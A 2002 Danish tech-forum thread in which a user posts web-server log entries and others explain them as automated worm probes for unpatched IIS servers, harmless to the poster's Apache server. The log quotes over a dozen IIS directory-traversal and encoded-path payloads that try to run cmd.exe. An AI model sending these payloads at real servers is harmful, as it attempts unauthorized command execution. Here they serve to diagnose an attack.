CIO Tech Eksperten IT-JOB IT-Kurser Events Podcast Søg

Log ind eller opret profil

Du kan også logge ind via nedenstående tjenester

itarkiv Nybegynder

10. december 2002 - 18:16 Der er 14 kommentarer og
1 løsning

Hvad sker der!?

Uddrag fra min logfil:

80.161.113.242 - - [10/Dec/2002:18:05:03 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 279
80.161.113.242 - - [10/Dec/2002:18:05:11 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
80.161.113.242 - - [10/Dec/2002:18:05:19 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
80.161.113.242 - - [10/Dec/2002:18:05:26 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
80.161.113.242 - - [10/Dec/2002:18:05:34 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.161.113.242 - - [10/Dec/2002:18:05:42 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.161.113.242 - - [10/Dec/2002:18:05:50 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 336
80.161.113.242 - - [10/Dec/2002:18:05:58 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:07 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:14 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:22 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:30 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286
80.161.113.242 - - [10/Dec/2002:18:06:38 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286
80.161.113.242 - - [10/Dec/2002:18:06:45 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
80.161.113.242 - - [10/Dec/2002:18:06:59 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303

Synes godt om

Slettet bruger

10. december 2002 - 18:34 #1

Wannabe hacker.

Info om IP:
http://www.ripe.net/perl/whois?form_type=simple&full_query_string=&searchtext=80.161.113.242&do_search=Search

Synes godt om

itarkiv Nybegynder

10. december 2002 - 18:39 #2

Noget alvorligt?

Synes godt om

Slettet bruger

10. december 2002 - 18:41 #3

Nah, han har bare fået smidt 404 siden kan ikke vises i hovedet, så det er ikke så slemt.

Synes godt om

itarkiv Nybegynder

10. december 2002 - 18:42 #4

Dvs. at han ikke er kommet ind på min PC?

Synes godt om

webmasterdk Praktikant

10. december 2002 - 18:43 #5

http://rush.dk/god_titel.php

Synes godt om

htm Nybegynder

10. december 2002 - 18:44 #6

he he nej det er ikke alvorligt - det rt en IIS webserver der idetificeret af Code Red og dermed forsøger at sprede sig! Den bider ikke på apache og er derfor bare noget man skal ignorerer!

Synes godt om

webmasterdk Praktikant

10. december 2002 - 18:44 #7

schulze >> ikke hacker,... en virus, der forsøger at finde en iis server som den kan inficere og fortsætte med at sprede sig fra

Synes godt om

Slettet bruger

10. december 2002 - 18:45 #8

Ikke udfra det du viser her.

Men hent http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/Security/tools/tools/MBSAHome.ASP og lav et sikkerhedstjek af dit system.

Synes godt om

Slettet bruger

10. december 2002 - 18:48 #9

webmasterdk>Bare sjovt der er en DK ip bag... well hvis alle sikkerhedsopdateringer er installeret skulle der ikke være grund til bekymring.

Du kan også hente http://www.microsoft.com/technet/security/tools/tools/locktool.asp det sørger for en mere sikker IIS.

Synes godt om

itarkiv Nybegynder

10. december 2002 - 18:50 #10

Jeg bruger Apache jo

Synes godt om

webmasterdk Praktikant

10. december 2002 - 18:52 #11

schulze >> Stadig en virus, nu ved jeg ikke hvordan den præcist søger på adresser, men hvis vi nu siger at den så søger i det ip scope som den selv er placeret på til at starte med og så udvider sit felt lidt efter lidt, så er det ikke helt i været at det er en dansk

Synes godt om

Slettet bruger

10. december 2002 - 18:52 #12

LOL det havde jeg ikke lige bemærket sorry.

Synes godt om

htm Nybegynder

10. december 2002 - 18:52 #13

itarkiv>> Derfor skal du ikke bekymre díg om det - det er kun en virus der rammer IIS servere der ikke er opdaterede!

Synes godt om

Slettet bruger

10. december 2002 - 18:52 #14

webmasterdk>Ah, ok thx for info.

Synes godt om

webmasterdk Praktikant

10. december 2002 - 18:53 #15

været = vejret :)

Synes godt om

Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Følg dette spørgsmål

Opret Preview

It-udvikling kurser

Uanset kodesprog, så giver vi dig mulighederne for at udvikle det, du behøver.

Se alle It-udvikling kurser

Flere spørgsmål fra Webservere kategorien

Titel	Indlæg	Oprettet	Seneste aktivitet
Yousee Af nu_igen i Webservere	1	08/04/202408:21	09/04/202409:44
.htaccess til PHP API Af Jan i Webservere	9	29/02/202408:05	29/02/202409:30
Web.config Af ingeman i Webservere	0	07/01/202409:53	-
IIS virker ikke på asp sider... Af bsn i Webservere	8	15/10/202313:14	18/10/202308:51
Ingen forbindelse Af ZeBa i Webservere	5	08/04/202319:17	08/04/202319:55

Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten

Seneste artiklerRSS